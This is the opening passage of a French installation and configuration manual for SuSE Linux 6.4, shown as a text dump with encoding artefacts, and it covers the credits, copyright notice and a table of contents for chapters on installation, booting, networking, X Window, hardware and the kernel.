home *** CD-ROM | disk | FTP | other *** search
/ Chip 2000 May / Chip_2000-05_cd2.bin / docu / ascii / suselxfr.txt < prev    next >
Text File  |  2000-03-25  |  2MB  |  37,801 lines

  1. Bodo Bauer, Rⁿdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff,
  2. Christian Egle, Karl Eichwalder, Stefan Fent, Werner Fink, Klaus Franken, Fritz Ganter,
  3. Jⁿrgen Geck, Rolf Haberrecker, Marc Heuse, Carsten H÷ger, Dirk Hohndel, Richard Jelinek,
  4. Florian La Roche, Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn,
  5. Jay Migliaccio, Jordi Jaen Pallares, Christoph-Erdmann Pfeiler, Peter Reinhart,
  6. Marc Rⁿhrschneck, Martin Scherbaum, Adrian Schr÷ter, Burchard Steinbild,
  7. Gabriele Strattner, J÷rg Strebel, Steve Tomlin, Klaus G. Wagner, Thorsten Wandersmann,
  8. Udo Weber, Michael Weyrauch, Stefan Wintermeyer, Christian Zoz
  9.  
  10. SuSE                    Linux   6.4
  11.  
  12.  
  13.  
  14. Installation,   configuration
  15.  
  16.  
  17.    : : :          et   premiers   pas
  18.  
  19.  
  20.                                                SuSE   GmbH
  21.                                                SchanzΣckerstr. 10
  22.                                                D-90443 Nⁿrnberg
  23.                                                Tel. :        +49 911 / 7 40 53 31            (Vente seulement ~ pour l'Assistance
  24.                                                                                              Technique voir  page 561)
  25.                                                Fax. :        +49 911 / 7 41 77 55            (Vente)
  26.                                                E-mail :      suse@suse.de
  27.  
  28.                                                WWW :         http://www.suse.de
  29. Bodo Bauer, Rⁿdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff, Christian Egle,
  30. Karl Eichwalder, Stefan Fent, Werner Fink, Klaus Franken, Fritz Ganter, Jⁿrgen Geck,
  31. Rolf Haberrecker, Marc Heuse, Carsten H÷ger, Dirk Hohndel, Richard Jelinek, Florian La Roche,
  32. Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn, Jay Migliaccio,
  33. Jordi Jaen Pallares, Christoph-Erdmann Pfeiler, Peter Reinhart, Marc Rⁿhrschneck,
  34. Martin Scherbaum, Adrian Schr÷ter, Burchard Steinbild, Gabriele Strattner, J÷rg Strebel,
  35. Steve Tomlin, Klaus G. Wagner, Thorsten Wandersmann, Udo Weber, Michael Weyrauch,
  36. Stefan Wintermeyer, Christian Zoz
  37.  
  38.  
  39.  
  40. Installation, configuration et premiers pas avec SuSE    Linux 6.4
  41. 17Φme Θdition actualisΘe 2000
  42. SuSE    GmbH
  43. ISBN 3-934678-06-8 (Ensemble du paquet)
  44. Copyright
  45.  
  46. Cet ouvrage est la propriΘtΘ intellectuelle de SuSE       GmbH.
  47.  
  48. Il peut Ωtre copiΘ en totalitΘ ou en partie α condition que cette mention de
  49.  
  50. copyright figure sur chaque copie
  51.  
  52.  
  53.  
  54. Traduit de l'allemand par Franτoise Lermen
  55.  
  56.  
  57.  
  58. Typographie :ALTE X
  59.  
  60. La maquette de la couverture a ΘtΘ rΘalisΘe avec une illustration de Stephan
  61.  
  62. Endra▀.
  63.  
  64.  
  65.  
  66. Linux est une marque dΘposΘe de Linus Torvalds. XFree86 TM    est une marque
  67.  
  68. dΘposΘe de The XFree86 Project, Inc.. MS-DOS, Windows, Windows 95,
  69.  
  70. Windows 98 et Windows NT  sont des marques dΘposΘes de la Microsoft
  71.  
  72. Corporation. UNIX  est une marque dΘposΘe de X/Open Company Limited.
  73.  
  74. Autres marques dΘposΘes et enregistrΘes : Clipper de Computer Associates,
  75.  
  76. dBASE de Borland, Foxbase de Microsoft, Compuserve, T-Online et Deutsche
  77.  
  78. Telekom, SuSE         et YaST  de SuSE       GmbH . Tous les noms de marques sont citΘs
  79.  
  80. sans aucune garantie que le produit soit librement utilisable et peuvent
  81.  
  82. parfaitement Ωtre des marques dΘposΘes. La sociΘtΘ SuSE       GmbH adopte
  83.  
  84. l'orthographe utilisΘe par les fabricants. D'autres produits mentionnΘs ici
  85.  
  86. peuvent Ωtre des marques dΘposΘes du fabricant respectif.
  87.  
  88. ISBN 3-934678-06-8 (Ensemble du paquet)
  89.  
  90.  
  91.  
  92.                                                                     Table   des   matiΦres
  93.  
  94. I     Introduction                                                                                1
  95.  
  96.  
  97. 1     Introduction                                                                                     3
  98.  
  99.       1.1      Qu'est-ce que ``Linux'' ?          .       .       .       .       .       .            4
  100.  
  101.       1.2      But de ce manuel ~ Conseils pour l'utilisation         .       .            5
  102.  
  103.       1.3      LΘgende - ou que signifie ``terre:   #  ls''            .       .            6
  104.  
  105.       1.4      La lutte avec le nombre de pages : : :       .       .       .       .            7
  106.  
  107.               1.4.1       Base de donnΘes support     .       .       .       .       .            7
  108.  
  109.               1.4.2       Aide hypertexte          .       .       .       .       .       .            8
  110.  
  111.               1.4.3       Texinfo et Info            .       .       .       .       .       .            9
  112.  
  113.               1.4.4       Manuels Unix (``pages de man'')          .       .       .            9
  114.  
  115.               1.4.5       Fichiers FAQ, HowTo et README     .       .       .            9
  116.  
  117.               1.4.6       Livres diffusΘs librement     .       .       .       .       .          10
  118.  
  119.       1.5      ╔loges            .       .       .       .       .       .       .       .       .          10
  120. II     Installer SuSE        Linux                                                             13
  121.  
  122.  
  123. 2     PremiΦre installation de SuSE      Linux                                              15
  124.  
  125.       2.1      La voie la plus rapide vers le succΦs        .       .       .       .          15
  126.  
  127.               2.1.1       Petit plan prΘliminaire        .       .       .       .       .          15
  128.  
  129.               2.1.2       Maintenant tout commence : L'Θcran d'accueil    .          16
  130.  
  131.               2.1.3       YaST2  fait son apparition !         .       .       .       .          18
  132.  
  133.               2.1.4       SΘlection de la langue         .       .       .       .       .          18
  134.  
  135.               2.1.5       Choix de la souris       .       .       .       .       .       .          19
  136.  
  137.               2.1.6       DΘtermination du lieu : Clavier et zone horaire               19
  138.  
  139.               2.1.7       Nouvelle installation ou mise α jour ?          .       .          19
  140.  
  141.               2.1.8       PrΘparer le disque dur         .       .       .       .       .          20
  142.  
  143.               2.1.9       SΘlection de logiciels          .       .       .       .       .          21
  144.  
  145.  
  146.                                                                                                                                    *
  147.  *       i
  148. Table des matiΦres_________________________________________________________________________________________________________________*
  149.  *_______________________________________@
  150.  
  151.  
  152.  
  153.                                          2.1.10      LILO ~ Gestionnaire d'amorτage pour le dΘmarrage
  154.                                                      du systΦme         .       .       .       .       .       .       .          *
  155.  *23
  156.                                          2.1.11      Informations sur l'utilisateur       .       .       .       .          24
  157.  
  158.                                          2.1.12      DΘterminer le mot de passe `root'    .       .       .          24
  159.  
  160.                                          2.1.13      Confirmer  les  configurations  ~  dΘmarrer  l'installa-
  161.                                                      tion            .       .       .       .       .       .       .       .     *
  162.  *     25
  163.  
  164.                                          2.1.14      PrΘparer l'interface graphique     .       .       .       .          26
  165.  
  166.                                          2.1.15      Configurer les composants du systΦme        .       .          26
  167.  
  168.                                          2.1.16      PremiΦre connexion            .       .       .       .       .          27
  169.  
  170.                                          2.1.17      Tour d'horizon et travail sur le systΦme       .       .          27
  171.  
  172.                                  2.2      Installation en mode texte avec YaST  1           .       .       .          28
  173.  
  174.                                          2.2.1       Situation de dΘpart      .       .       .       .       .       .          28
  175.  
  176.                                          2.2.2       Maintenant tout commence : L'Θcran d'accueil    .          28
  177.  
  178.                                          2.2.3       La base de votre installation : linuxrc           .       .          29
  179.  
  180.                                          2.2.4       DΘmarrage de YaST            .       .       .       .       .          33
  181.  
  182.                                          2.2.5       Partitionner et formater le disque dur           .       .          34
  183.  
  184.                                          2.2.6       Commencer l'installation des logiciels        .       .          35
  185.  
  186.                                          2.2.7       SΘlectionnez votre Θquipement logiciel de base               36
  187.  
  188.                                          2.2.8       Installation de logiciels systΦme et de programmes         37
  189.  
  190.                                          2.2.9       SΘlectionner le noyau pour le systΦme         .       .          38
  191.  
  192.                                          2.2.10      Configuration de base du systΦme avec YaST       .          39
  193.  
  194.                                          2.2.11      Se connecter aprΦs la premiΦre installation          .          43
  195.  
  196.                                  2.3      Comment dΘmarrer SuSE     Linux α l'avenir ?    .       .       .          44
  197.  
  198.                                  2.4      Installation sans lecteur de CD-ROM supportΘ         .       .          46
  199.  
  200.                                          2.4.1       Installation α partir d'une partition DOS      .       .          46
  201.  
  202.                                          2.4.2       Installation α partir d'une source ``rΘseau''           .          48
  203.  
  204.                                  2.5      Encore une mΘthode d'installation : Setup et loadlin        .          50
  205.  
  206.                                          2.5.1       Mettre Windows 95/98 en mode DOS         .       .          50
  207.  
  208.                                          2.5.2       Lancement de Setup et premiΦre partie de Setup             50
  209.  
  210.                                          2.5.3       Comment amorcer le Linux initial α partir de setup ?      51
  211.  
  212.                                          2.5.4       Installer loadlin et lancer le Linux initial     .       .          52
  213.  
  214.                                  2.6      Blocs Info      .       .       .       .       .       .       .       .       .        *
  215.  *  54
  216.  
  217.                                          2.6.1       Faire de la place pour Linux (partitionner)           .          54
  218.  
  219.                                          2.6.2       Utiliser le CD 2 pour l'amorτage         .       .       .          56
  220.  
  221.                                          2.6.3       CrΘer des disquettes d'amorτage         .       .       .          57
  222.  
  223.                                          2.6.4       CrΘer des disquettes d'amorτage avec Unix         .          58
  224.  
  225.                                          2.6.5       Linux supporte-il mon lecteur de CD-ROM ?       .          59
  226.  
  227.                                  2.7      Descriptions de problΦmes      .       .       .       .       .       .          59
  228.  
  229.                                          2.7.1       Impossible de dΘplacer des fichiers      .       .       .          59
  230.  
  231.                                          2.7.2       Pas de clavier franτais en mode MS-DOS            .          60
  232.  
  233.  
  234. ii
  235.        _______________________________________________________________________________________________________Table_des_matiΦres___*
  236.  *______________________
  237.  
  238.  
  239.  
  240.               2.7.3       Pas de pilote de CD-ROM en mode MS-DOS      .          60
  241.               2.7.4       le CD est dΘfectueux           .       .       .       .       .          60
  242.  
  243.               2.7.5       Le CD-ROM ATAPI se bloque α la lecture           .          60
  244.  
  245.               2.7.6       Lecteurs de CD-ROM sur port parallΦle       .       .          62
  246.  
  247.               2.7.7       Lecteurs de CD-ROM ``propriΘtaires''          .       .          62
  248.  
  249.               2.7.8       Thinkpad ``s'endort'' pendant l'installation          .          62
  250.  
  251.               2.7.9       loadlin n'a pas suffisamment de mΘmoire pour char-
  252.                           ger le noyau        .       .       .       .       .       .       .          63
  253.  
  254.               2.7.10      loadlin ne fonctionne pas    .       .       .       .       .          63
  255.  
  256.               2.7.11      DOS tourne en mode protΘgΘ      .       .       .       .          63
  257.  
  258.               2.7.12      DΘnomination du lecteur de CD-ROM         .       .          64
  259.  
  260.               2.7.13      ProblΦmes d'ordre gΘnΘral avec le matΘriel          .          64
  261.  
  262.       2.8      Partitionnement pour dΘbutants       .       .       .       .       .          67
  263.  
  264.       2.9      Partitionnement avancΘ           .       .       .       .       .       .          68
  265.  
  266.               2.9.1       Taille de la partition de swap       .       .       .       .          70
  267.  
  268.               2.9.2       PossibilitΘs de fonction de la machine         .       .          70
  269.  
  270.               2.9.3       PossibilitΘs d'optimisation          .       .       .       .          72
  271.  
  272.       2.10     Configuration manuelle du disque dur     .       .       .       .          75
  273.  
  274.               2.10.1      Configurer les partitions      .       .       .       .       .          75
  275.  
  276.               2.10.2      DΘterminer les systΦmes de fichiers et les ``points de
  277.                           montage''           .       .       .       .       .       .       .          77
  278.  
  279.  
  280. 3     YaST  ~ Yet another Setup Tool                                                       81
  281.  
  282.       3.1      Utilisation de YaST et disposition du clavier            .       .          81
  283.  
  284.       3.2      Le menu principal de YaST     .       .       .       .       .       .          82
  285.  
  286.       3.3      Configurations pour l'installation            .       .       .       .          82
  287.  
  288.               3.3.1       DΘterminer la langue          .       .       .       .       .          83
  289.  
  290.               3.3.2       SΘlectionner la disposition du clavier          .       .          83
  291.  
  292.               3.3.3       SΘlectionner le support d'installation           .       .          83
  293.  
  294.               3.3.4       Installation α partir du CD-ROM         .       .       .          84
  295.  
  296.               3.3.5       Installation α partir d'une partition du disque dur            84
  297.  
  298.               3.3.6       Installation via NFS            .       .       .       .       .          85
  299.  
  300.               3.3.7       Installation α partir d'un rΘpertoire accessible      .          86
  301.  
  302.               3.3.8       Installation via FTP    .       .       .       .       .       .          87
  303.  
  304.               3.3.9       Partitionner le(s) disque(s) dur(s)        .       .       .          88
  305.  
  306.               3.3.10      SpΘcifier les partitions cibles ou les systΦmes de fi-
  307.                           chiers         .       .       .       .       .       .       .       .          89
  308.  
  309.               3.3.11      Configurer le Logical Volume Manager       .       .          93
  310.  
  311.               3.3.12      Installation dans un rΘpertoire     .       .       .       .          93
  312.  
  313.       3.4      DΘterminer la taille de l'installation         .       .       .       .          94
  314.  
  315.  
  316.                                                                                                                                    *
  317.  *     iii
  318. Table des matiΦres_________________________________________________________________________________________________________________*
  319.  *_______________________________________@
  320.  
  321.  
  322.  
  323.                                          3.4.1       Charger la configuration      .       .       .       .       .          94
  324.                                          3.4.2       Enregistrer la configuration         .       .       .       .          95
  325.  
  326.                                          3.4.3       Modifier la configuration    .       .       .       .       .          95
  327.  
  328.                                          3.4.4       Que se passerait-il si...        .       .       .       .       .          97
  329.  
  330.                                          3.4.5       DΘmarrer l'installation        .       .       .       .       .          97
  331.  
  332.                                          3.4.6       VΘrifier les dΘpendances des paquetages      .       .          98
  333.  
  334.                                          3.4.7       Index de toutes les sΘries et de tous les paquetages          98
  335.  
  336.                                          3.4.8       Information sur les paquetages            .       .       .          98
  337.  
  338.                                          3.4.9       Inclure des paquetages        .       .       .       .       .          98
  339.  
  340.                                          3.4.10      Effacer des paquetages        .       .       .       .       .        100
  341.  
  342.                                  3.5      Mise α jour du systΦme           .       .       .       .       .       .        100
  343.  
  344.                                  3.6      Administration du systΦme      .       .       .       .       .       .        100
  345.  
  346.                                          3.6.1       IntΘgrer le matΘriel dans le systΦme     .       .       .        100
  347.  
  348.                                          3.6.2       Configuration du noyau et de l'amorτage     .       .        103
  349.  
  350.                                          3.6.3       Configuration rΘseau           .       .       .       .       .        106
  351.  
  352.                                          3.6.4       Configurer le systΦme live           .       .       .       .        108
  353.  
  354.                                          3.6.5       Configuration du login        .       .       .       .       .        109
  355.  
  356.                                          3.6.6       Configuration susewm        .       .       .       .       .        110
  357.  
  358.                                          3.6.7       Gestion utilisateurs     .       .       .       .       .       .        111
  359.  
  360.                                          3.6.8       Gestion de groupes     .       .       .       .       .       .        112
  361.  
  362.                                          3.6.9       CrΘer des sauvegardes         .       .       .       .       .        113
  363.  
  364.                                          3.6.10      Configuration sΘcuritΘ du systΦme       .       .       .        114
  365.  
  366.                                          3.6.11      Configurer XFree86[tm]     .       .       .       .       .        114
  367.  
  368.                                          3.6.12      Modifier le fichier de configuration     .       .       .        114
  369.  
  370.  
  371.                            4     Amorτage et gestionnaires d'amorτage                                         117
  372.  
  373.                                  4.1      ProcΘdure d'amorτage sur PC         .       .       .       .       .        117
  374.  
  375.                                  4.2      Concepts d'amorτage     .       .       .       .       .       .       .        119
  376.  
  377.                                  4.3      LILO  se prΘsente : Vue d'ensemble        .       .       .       .        120
  378.  
  379.                                  4.4      Un LILO  sur mesure : Configuration       .       .       .       .        123
  380.  
  381.                                          4.4.1       Structure du fichier lilo.conf                  .       .       .        124
  382.  
  383.                                          4.4.2       Autres possibilitΘs optionnelles de configuration           127
  384.  
  385.                                  4.5      Installation et dΘsinstallation de LILO      .       .       .       .        130
  386.  
  387.                                  4.6      GΘnΘrer une disquette d'amorτage Linux         .       .       .        132
  388.  
  389.                                  4.7      Exemples de configurations     .       .       .       .       .       .        134
  390.  
  391.                                          4.7.1       DOS/Windows 95/98 et Linux    .       .       .       .        134
  392.  
  393.                                          4.7.2       Windows NT et Linux sur un disque dur      .       .        135
  394.  
  395.                                          4.7.3       OS/2 et Linux     .       .       .       .       .       .       .        136
  396.  
  397.                                          4.7.4       DOS, OS/2 et Linux           .       .       .       .       .        137
  398.  
  399.                                  4.8      ProblΦmes avec LILO      .       .       .       .       .       .       .        137
  400.  
  401.  
  402. iv
  403.        _______________________________________________________________________________________________________Table_des_matiΦres___*
  404.  *______________________
  405.  
  406.  
  407.  
  408.               4.8.1       Diagnostic  d'erreur  :  Message  de  dΘmarrage  de
  409.                           LILO          .       .       .       .       .       .       .       .        138
  410.  
  411.               4.8.2       La limite des 1024 cylindres       .       .       .       .        139
  412.  
  413.               4.8.3       ProblΦmes d'amorτage particuliers avec le noyau α
  414.                           partir de 2.0        .       .       .       .       .       .       .        141
  415.  
  416.       4.9      Construire un mΘcanisme d'amorτage avec loadlin          .        143
  417.  
  418.               4.9.1       Fichiers indispensables pour loadlin             .       .        144
  419.  
  420.               4.9.2       CrΘation de menus de dΘmarrage         .       .       .        144
  421.  
  422.               4.9.3       DΘmarrage α partir de Windows          .       .       .        146
  423.  
  424.               4.9.4       Le menu de dΘmarrage Windows         .       .       .        147
  425. III     Configuration du rΘseau                                                   151
  426.  
  427.  
  428. 5     En rΘseau avec Linux                                                                    153
  429.  
  430.       5.1      Configuration α l'aide de YaST        .       .       .       .       .        156
  431.  
  432.       5.2      Configuration manuelle du rΘseau ~ o∙ trouver quoi ?      .        158
  433.  
  434.               5.2.1       Fichiers de configuration     .       .       .       .       .        158
  435.  
  436.               5.2.2       Scripts de dΘmarrage          .       .       .       .       .        163
  437.  
  438.       5.3      Routage sous SuSE     Linux       .       .       .       .       .       .        164
  439.  
  440.       5.4      NIS, les pages jaunes du LAN         .       .       .       .       .        165
  441.  
  442.               5.4.1       Qu'est-ce que le NIS ?        .       .       .       .       .        165
  443.  
  444.               5.4.2       Installation d'un client NIS         .       .       .       .        165
  445.  
  446.               5.4.3        Serveur maεtre et serveur esclave NIS         .       .        167
  447.  
  448.       5.5      NFS ~ SystΦmes de fichiers rΘpartis         .       .       .       .        167
  449.  
  450.               5.5.1       Importation des systΦmes de fichiers           .       .        167
  451.  
  452.               5.5.2       Exportation des systΦmes de fichiers           .       .        167
  453.  
  454.  
  455. 6     Votre ouverture sur le monde ~ PPP, ISDN, Fax : : :                     171
  456.  
  457.       6.1      PPP        .       .       .       .       .       .       .       .       .       .        171
  458.  
  459.               6.1.1       Conditions pour la mise en service de PPP          .        172
  460.  
  461.               6.1.2       Informations complΘmentaires sur PPP       .       .        172
  462.  
  463.       6.2      AccΦs Internet par ISDN ~ Configuration        .       .       .        173
  464.  
  465.               6.2.1       Mise en service d'ISDN - Pas α pas     .       .       .        173
  466.  
  467.               6.2.2       Vue d'ensemble          .       .       .       .       .       .        175
  468.  
  469.               6.2.3       Configuration du matΘriel ISDN          .       .       .        175
  470.  
  471.               6.2.4       Tester le fonctionnement de votre connexion ISDN
  472.                           sur le serveur SuSE         .       .       .       .       .       .        180
  473.  
  474.               6.2.5       Mise en place d'une connexion Internet par ISDN         180
  475.  
  476.               6.2.6       Messages ISDN          .       .       .       .       .       .        184
  477.  
  478.       6.3      Modem cΓble         .       .       .       .       .       .       .       .        188
  479.  
  480.  
  481.                                                                                                                                    *
  482.  *      v
  483. Table des matiΦres_________________________________________________________________________________________________________________*
  484.  *_______________________________________@
  485.  
  486.  
  487.  
  488.                                          6.3.1       Informations de base           .       .       .       .       .        188
  489.                                  6.4      T-DSL, T-ISDN-DSL, ADSL : : :            .       .       .       .        189
  490.  
  491.                                  6.5      Connexion par modem            .       .       .       .       .       .        190
  492.  
  493.                                  6.6      AccΦs Internet par modem : PPP avec wvdial           .       .        190
  494.  
  495.                                          6.6.1       Configuration de wvdial      .       .       .       .       .        191
  496.  
  497.                                          6.6.2       Plusieurs fournisseurs d'accΦs avec wvdial          .        194
  498.  
  499.                                          6.6.3       Adaptateurs de terminaux ISDN          .       .       .        195
  500.  
  501.                                          6.6.4       Configuration de modems PCI    .       .       .       .        196
  502.  
  503.                                          6.6.5       Configuration manuelle de PPP pour experts       .        197
  504.  
  505.                                  6.7      Masquerading et Firewall ~ Amis et ``amis''     .       .       .        201
  506.  
  507.                                          6.7.1       Principes du Masquerading         .       .       .       .        202
  508.  
  509.                                          6.7.2       Principes du Firewall          .       .       .       .       .        202
  510.  
  511.                                          6.7.3       Configuration de Masquerading et/ou de Firewall         203
  512.  
  513.                                  6.8      Donnez de vos nouvelles ~ Configuration de Sendmail              205
  514.  
  515.                                  6.9      News : Les toutes derniΦres nouvelles de USENET          .        208
  516.  
  517.                                          6.9.1       Le systΦme de news Leafnode      .       .       .       .        208
  518.  
  519.                                  6.10     Linux et le fax        .       .       .       .       .       .       .       .        2*
  520.  *10
  521.  
  522.                                          6.10.1      SuSEFax ~ Un client pour HylaFAX            .       .        211
  523.  
  524.                                          6.10.2      CrΘation automatique de la page de garde            .        220
  525.  
  526.                                          6.10.3      Traitement diffΘrΘ des fax sous UNIX /Linux        .        221
  527.  
  528.                                          6.10.4      HylaFAX  ~ Fax rΘpartis      .       .       .       .       .        221
  529.  
  530.  
  531.                            7     Sur un rythme de Samba : : :                                                        229
  532.  
  533.                                  7.1      Introduction           .       .       .       .       .       .       .       .        2*
  534.  *29
  535.  
  536.                                  7.2      Installation du serveur     .       .       .       .       .       .       .        231
  537.  
  538.                                  7.3      Installation des clients     .       .       .       .       .       .       .        234
  539.  
  540.                                  7.4      Optimisation          .       .       .       .       .       .       .       .        235
  541.                            IV     Le systΦme X Window                                                       237
  542.  
  543.  
  544.                            8     Le systΦme X Window                                                                   239
  545.  
  546.                                  8.1      Configuration avec SaX           .       .       .       .       .       .        240
  547.  
  548.                                          8.1.1       PremiΦre installation           .       .       .       .       .        240
  549.  
  550.                                          8.1.2       Reconfiguration          .       .       .       .       .       .        248
  551.  
  552.                                          8.1.3       Cas problΘmatiques    .       .       .       .       .       .        249
  553.  
  554.                                          8.1.4       DΘmarrage du systΦme X Window       .       .       .        249
  555.  
  556.                                          8.1.5       Liste  de  contr⌠le  pour  l'installation  de  cartes  gra-
  557.                                                      phiques      .       .       .       .       .       .       .       .        *
  558.  *250
  559.  
  560.                                  8.2      Configuration avec xf86config     .       .       .       .       .        251
  561.  
  562.                                  8.3      Optimisation de l'installation du systΦme X Window       .        259
  563.  
  564.  
  565. vi
  566.        _______________________________________________________________________________________________________Table_des_matiΦres___*
  567.  *______________________
  568.  
  569.  
  570.  
  571. 9     Le gestionnaire de fenΩtres ~ Votre ouverture sur l'ordinateur     265
  572.       9.1      ThΘorie de l'interface utilisateur graphique      .       .       .        265
  573.  
  574.               9.1.1       Structure du systΦme X Window         .       .       .        265
  575.  
  576.               9.1.2       De quoi s'occupe un gestionnaire de fenΩtres ?    .        268
  577.  
  578.               9.1.3       DΘmarrage de diffΘrents gestionnaires de fenΩtres         269
  579.  
  580.       9.2      L'environnement de bureau KDE             .       .       .       .        271
  581.  
  582.               9.2.1       GΘnΘralitΘs         .       .       .       .       .       .       .        272
  583.  
  584.               9.2.2       kdm ~ login graphique        .       .       .       .       .        273
  585.  
  586.               9.2.3       Que possΦde donc KDE de si sensationnel ?         .        274
  587.  
  588.       9.3      Fvwm             .       .       .       .       .       .       .       .       .        277
  589.  
  590.       9.4      Configuration de Fvwm          .       .       .       .       .       .        278
  591.  
  592.               9.4.1       Auto-ΘlΘvation            .       .       .       .       .       .        282
  593.  
  594.       9.5      Configuration du gestionnaire de fenΩtres avec SuSEwm           282
  595.  
  596.               9.5.1       Ajouter des entrΘes au menu       .       .       .       .        283
  597.  
  598.       9.6      Configuration gΘnΘrale du systΦme X Window         .       .        286
  599. V     MatΘriel sous Linux                                                             291
  600.  
  601.  
  602. 10    L'environnement matΘriel de l'ordinateur Linux                          293
  603.  
  604.       10.1     Remarque prΘliminaire           .       .       .       .       .       .        293
  605.  
  606.       10.2     Cartes enfichables           .       .       .       .       .       .       .        293
  607.  
  608.               10.2.1      Cartes ISA et PCI       .       .       .       .       .       .        293
  609.  
  610.       10.3     Cartes son      .       .       .       .       .       .       .       .       .        296
  611.  
  612.               10.3.1      OSS et versions de dΘmonstration d'OSS     .       .        297
  613.  
  614.               10.3.2      Comment configurer les cartes son sous Linux ?           297
  615.  
  616.       10.4     Interfaces de la machine         .       .       .       .       .       .        306
  617.  
  618.               10.4.1      Ports PS/2          .       .       .       .       .       .       .        306
  619.  
  620.               10.4.2      Ports sΘrie          .       .       .       .       .       .       .        306
  621.  
  622.               10.4.3      Ports parallΦles           .       .       .       .       .       .        307
  623.  
  624.               10.4.4      USB ~ Universal Serial Bus        .       .       .       .        308
  625.  
  626.       10.5     Supports amovibles        .       .       .       .       .       .       .        309
  627.  
  628.               10.5.1      Lecteurs de disquettes         .       .       .       .       .        309
  629.  
  630.               10.5.2      Lecteurs LS 120         .       .       .       .       .       .        309
  631.  
  632.               10.5.3      Lecteurs ZIP       .       .       .       .       .       .       .        309
  633.  
  634.       10.6     Modems         .       .       .       .       .       .       .       .       .        310
  635.  
  636.               10.6.1      Modems externes        .       .       .       .       .       .        310
  637.  
  638.               10.6.2      Modems internes        .       .       .       .       .       .        310
  639.  
  640.       10.7     Scanners        .       .       .       .       .       .       .       .       .        312
  641.  
  642.       10.8     Lecteurs de bandes (angl. streamers)       .       .       .       .        313
  643.  
  644.       10.9     Cartes TV      .       .       .       .       .       .       .       .       .        314
  645.  
  646.  
  647.                                                                                                                                    *
  648.  *    vii
  649. Table des matiΦres_________________________________________________________________________________________________________________*
  650.  *_______________________________________@
  651.  
  652.  
  653.  
  654.                            11    Notebooks ~ PCMCIA, APM, IrDA                                              317
  655.                                  11.1     PCMCIA        .       .       .       .       .       .       .       .       .        317
  656.  
  657.                                          11.1.1      Le matΘriel         .       .       .       .       .       .       .        3*
  658.  *17
  659.  
  660.                                          11.1.2      Les logiciels       .       .       .       .       .       .       .        3*
  661.  *18
  662.  
  663.                                          11.1.3      Configuration     .       .       .       .       .       .       .        318
  664.  
  665.                                          11.1.4      Configurations  pour  changer  d'environnement  ~  ~
  666.                                                      les ``schemes''     .       .       .       .       .       .       .        3*
  667.  *20
  668.  
  669.                                          11.1.5      Si cela ne fonctionne quand mΩme pas        .       .        323
  670.  
  671.                                          11.1.6      Installation via PCMCIA    .       .       .       .       .        326
  672.  
  673.                                          11.1.7      Autres programmes utilitaires     .       .       .       .        326
  674.  
  675.                                  11.2     APM ~ Gestion d'Θnergie       .       .       .       .       .       .        327
  676.  
  677.                                          11.2.1      Principes de base        .       .       .       .       .       .        327
  678.  
  679.                                          11.2.2      Le noyau adΘquat       .       .       .       .       .       .        328
  680.  
  681.                                          11.2.3      Le dΘmon APM          .       .       .       .       .       .        328
  682.  
  683.                                          11.2.4      Autres commandes     .       .       .       .       .       .        329
  684.  
  685.                                          11.2.5      Une pause pour le disque dur      .       .       .       .        329
  686.  
  687.                                  11.3     IrDA ~ Infrared Data Association            .       .       .       .        330
  688.  
  689.  
  690.                            12    L'impression                                                                                 333
  691.  
  692.                                  12.1     Vue d'ensemble : Interfaces, files d'impression (spooling)             333
  693.  
  694.                                  12.2     Files d'impression : fonctionnement et configuration       .        335
  695.  
  696.                                  12.3     Filtres d'impression ~ le filtre ``apsfilter''         .       .       .        339
  697.  
  698.                                  12.4     Imprimantes rΘseau avec apsfilter             .       .       .       .        346
  699.  
  700.                                  12.5     Quelques prΘcisions au sujet de Ghostscript     .       .       .        347
  701.  
  702.                                  12.6     Liste des imprimantes supportΘes            .       .       .       .        349
  703.  
  704.                                  12.7     Liste de contr⌠le pour l'impression : apsfilter          .       .        354
  705.                            VI     Le noyau et les paramΦtres du noyau                            357
  706.  
  707.  
  708.                            13    Le noyau                                                                                       359
  709.  
  710.                                  13.1     Les sources du noyau      .       .       .       .       .       .       .        359
  711.  
  712.                                  13.2     Modules du noyau          .       .       .       .       .       .       .        360
  713.  
  714.                                  13.3     Configuration du noyau          .       .       .       .       .       .        362
  715.  
  716.                                  13.4     ParamΦtres de configuration du noyau     .       .       .       .        363
  717.  
  718.                                  13.5     Compilation du noyau     .       .       .       .       .       .       .        363
  719.  
  720.                                  13.6     Installer le noyau            .       .       .       .       .       .       .        364
  721.  
  722.                                  13.7     CrΘer une disquette d'amorτage      .       .       .       .       .        366
  723.  
  724.                                  13.8     Faire  le  mΘnage  sur  le  disque  dur  aprΦs  la  compilation  du
  725.                                          noyau     .       .       .       .       .       .       .       .       .       .       *
  726.  * 366
  727.  
  728.  
  729. viii
  730.        _______________________________________________________________________________________________________Table_des_matiΦres___*
  731.  *______________________
  732.  
  733.  
  734.  
  735. 14    ParamΦtres du noyau                                                                    367
  736.       14.1     Pilotes insΘrΘs dans le noyau           .       .       .       .       .        367
  737.  
  738.       14.2     Quelques astuces            .       .       .       .       .       .       .        368
  739.  
  740.       14.3     Les paramΦtres       .       .       .       .       .       .       .       .        369
  741.  
  742.               14.3.1      Notation et signification      .       .       .       .       .        369
  743.  
  744.               14.3.2      ParamΦtres transmis au noyau α l'invite d'amorτage      370
  745.  
  746.               14.3.3      Lecteurs  de  CD-ROM  connectΘs  α  des  contr⌠leurs
  747.                           propriΘtaires       .       .       .       .       .       .       .        380
  748.  
  749.               14.3.4      ParamΦtres modprobe                .       .       .       .       .        383
  750. VII     SuSE       Linux : Mise α jour et particularitΘs                401
  751.  
  752.  
  753. 15    Mise α jour du systΦme et gestion des paquetages                          403
  754.  
  755.       15.1     Mise α jour de SuSE     Linux     .       .       .       .       .       .        403
  756.  
  757.               15.1.1      Travaux prΘliminaires         .       .       .       .       .        403
  758.  
  759.               15.1.2      Mise α jour avec YaST2       .       .       .       .       .        404
  760.  
  761.               15.1.3      Mise α jour avec YaST1            .       .       .       .       .        404
  762.  
  763.               15.1.4      Actualisation des paquetages       .       .       .       .        406
  764.  
  765.       15.2     D'une version α l'autre           .       .       .       .       .       .        407
  766.  
  767.               15.2.1      De 4.x α 5.0        .       .       .       .       .       .       .        407
  768.  
  769.               15.2.2      De 5.0 α 5.1        .       .       .       .       .       .       .        407
  770.  
  771.               15.2.3      De 5.1 α 5.2        .       .       .       .       .       .       .        408
  772.  
